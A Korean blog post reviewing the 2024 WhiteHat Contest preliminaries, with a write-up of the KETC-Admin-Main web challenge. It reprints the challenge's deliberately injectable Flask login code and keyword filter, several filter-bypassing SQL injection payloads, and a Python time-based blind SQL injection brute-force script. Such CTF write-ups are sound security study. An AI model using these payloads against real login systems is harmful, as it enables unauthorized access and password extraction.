One_Blog

2024 WhitehatContest 2024 Preliminaries 후기 + KETC-Admin-Main WriteUp 본문

후기,라이트업

2024 WhitehatContest 2024 Preliminaries 후기 + KETC-Admin-Main WriteUp

0xOne 2024. 10. 20. 15:51
728x90

어제 화이트햇 콘테스트 예선전을 치뤘고, 성공적으로 본선에 진출하였다.

 

사실 코스포 때처럼 빠르게 다 풀고, 놀다가 본선 갈 줄 알았는데,

 

웹 문제 중에 좀.. 기억에 남는 문제가 있어서 간단하게 글을 써본다.

 

3문제가 나왔는데,

 

두 개는 그냥 블랙박스 게싱문제라 쓸 게 없고,

 

이거 하나만 좀 기억에 남았다.

KETC-Admin-Main

이게 내가 정말 헤맨 문제다.

 

대회 중에 문제 오류인 줄 알고 문의를 2번이나 했다.

 

from flask import Blueprint, render_template, session, abort, request, redirect, url_for, flash
from core.check import loose_waf, strict_waf
from db import dbConnection

bp = Blueprint('admin', __name__, url_prefix='/admin')

@bp.route('/', methods = ['GET', 'POST'])
def admin():
    username = session.get('username')
    
    if request.method == 'POST':
        username = request.form['user']
        password = request.form['pass']
        
        if strict_waf(username):
            return abort(400)
        
        if loose_waf(password):
            return abort(400)

        connection = dbConnection()
        try:
            with connection.cursor() as cursor:
                cursor.execute(f"SELECT * FROM users WHERE username='{username}' AND password='{password}'")
                user = cursor.fetchone()
                if user:
                    session['username'] = user['username']

                    if session.get('username') == 'superadmin':
                        return render_template("flag.html")
                    else:
                        flash("hello admin!!")
                        return redirect(url_for('admin.admin'))
                else:
                    flash("Invalid username/password")
                    return redirect(url_for('admin.admin'))
        except Exception:
            flash("Invalid username/password")
            return redirect(url_for('admin.admin'))
        finally:
            if connection:
                connection.close()
    
    return render_template('admin.html')

@bp.errorhandler(400)
def handle_400_error(_):
    return render_template('400.html'), 400

 

loose_keywords = ['union', 'sleep(', 'select', 'from', 'and', 'or', 'superadmin', 'if', 'having', '=', '>', '<', ' ', '*', '/', '\n', '\r', '\t', '\x0b', '\x0c', '-', '+', '|', '&', '#']
strict_keywords = ['superadmin', '\'']
# replace, hex, mid 괄호 다 가능, like 가능하고 0x 가능, ' , 가능, ascii가능, substr 가능, when 가능, benchmark 가능, `가능`
# 1'in(0xffffffffffffffff*(hex(mid(password,1,1))like'71'))like'1 password
# 1'in(CASE(1)WHEN(BINARY`password`LIKE('%%'))THEN(benchmark(10000000,MD5(0)))ELSE(0)END)REGEXP'.1
def loose_waf(data):
    for keyword in loose_keywords:
        if keyword in data.lower():
            return True
    return False

def strict_waf(data):
    for keyword in strict_keywords:
        if keyword in data.lower():
            return True
    return False
# wandering

 

SQL Injection인데, 얼핏보면 쉬워보이나 출제자가 의도치 않은 함정이 있었던 듯 하다.

 

나는 해당 문제를 풀 당시 문제파일로 지급된 도커 컴포즈 파일을 빌드하였고,

 

내가 처음 시도한 페이로드는

 

user : superàdmin

pass : 1'^'1

 

이었다.

 

해당 페이로드는 Mysql(MariaDB)에서 default collation가 utf8mb4_0900_ai_ci이기 때문에,

 

accent에 insensitive 한 것을 악용하는 페이로드였다.

 

해당 페이로드는 로컬에서 성공하였으나, 리모트에선 실패했다.

 

문제에서 지급된 도커 컴포즈로 빌드된 환경에서 익스플로잇에 성공하였었기에,

 

리모트 환경에서 안되는 게 이해가 되지 않았고, 누가 데이터를 Drop한 줄 알고 바로 문의를 넣었다.

 

그러나 문제가 없다는 답변이 돌아왔다.

 

로컬에서 되지만 리모트에선 안되길래, 도저히 이해가 되지 않았지만 다른 페이로드를 찾아봤다.

 

다음 사용한 페이로드는 

 

user : superàdmin

pass : 1'regexp'1.

 

였다.

 

이 역시도 로컬에서 익스플로잇에 성공하였지만, 리모트는 되지 않았다.

 

난 이때만 해도 도저히 이해가 되지 않아 한번 더 문의를 했지만,

 

이전과 같이 문제가 없다는 답변을 받았다.

 

머리로는 이해가 되지 않았지만 일단 문제가 없다고 하니..

 

그래서 이번엔 패스워드를 완전히 추출하여, 로그인하는 방향으로 접근하게 됐다.

 

여기부터 고난의 시작이었다.

 

위와 같은 과정을 거쳤고, 마침내 로컬에서 동작하는

페이로드를.. 만들었는데,

 

이것도 서버에선 안됐다.

 

import requests
import time
url = "http://3.35.238.142:10000/admin/"
bfchars = "_~.$^?abcdefghijklmnopqrstuvwxyz1234567890!@"
flag = ""
while True:
    for char in bfchars:
        datas = {
            "user":"superàdmin",
            "pass":f"""1'in(CASE(1)WHEN((`passwo\Wd`)LIKE('{char}%'))THEN(benchmark(10000000,MD5(0)))ELSE(0)END)REGEXP'.1"""
        }
        start = time.time()
        response = requests.post(url, data=datas)
        print(response.status_code)
        end = time.time()
        print(char)
        if end - start > 1.5:
            flag += char
            print("find!!!!!!!!! : ",flag)
            exit(0)

 

결국 Benchmark Time Based SQL Injection페이로드는 동작하지 못했다.

 

난 끝까지 해결을 못했고, 로되리안이 났던 이유가 궁금해 바로 디스코드방에 질문을 올렸고,

 

충격적인 답변을 받을 수 있었다.

 

그 이유는 바로...

 

SQL에서 숫자와 문자열의 비교 방식 때문이었다.

 

로컬에 저장된 패스워드는 **redact**로, INT와 비교할 때, 자동으로 INT로 변환되어 0이 된다.

 

이 값을 '1'^'1'과 비교하였기 때문에 로컬에선 superadmin 로그인에 성공한 것이었다.

 

하지만 서버에선 패스워드가 1~9로 시작하였기 때문에, 0과 비교하였을 때 값이 캐스팅 된 값이 달라 로그인에 실패했던 것이었다.

 

진짜 상상도 못한 이유였다.

 

이 로되리안의 원인을 파악하지 못하고 문제를 풀지 못한 건 내 실력 부족이 맞았다.

 

만약 원인을 알았다면, 

 

>>> 1^0
1
>>> 2^0
2
>>> 3^0
3
>>> 4^0
4

 

이런 식으로 모든 값을 비교해서 로그인에 성공할 수 있었을 것이기 때문이다.

 

인텐 풀이는 뭐..

{"user":"\\", "pass":"^(0)like((username)like('%uperadmin'));\x00"}

이런식이었다고 한다. (made by Sechack)

 

간단한 페이로드라 설명은 생략하겠다.

 

후기

솔직히 문제 퀄리티...가 좀 실망스러웠다.

 

CCE, 코드게이트만큼은 아니어도 작년 예선 문제는 꽤나 어렵고 코드도 많았는데,

 

이번엔 블랙박스만 2문제에 하나는 SQL 필터링 우회문제였기 때문이다.

 

심지어 블랙박스 문제는 게싱이 너무 심했다고 느껴졌다.

 

그나마 SQL 문제는 타입 캐스팅 비교와 Mysql 동작에 대한 지식을 배울 수 있었지만..

 

아무튼 좀 아쉬웠다.

 

본선은 좀 더 퀄리티있는 문제가 출제되면 좋겠다.

 

 

gg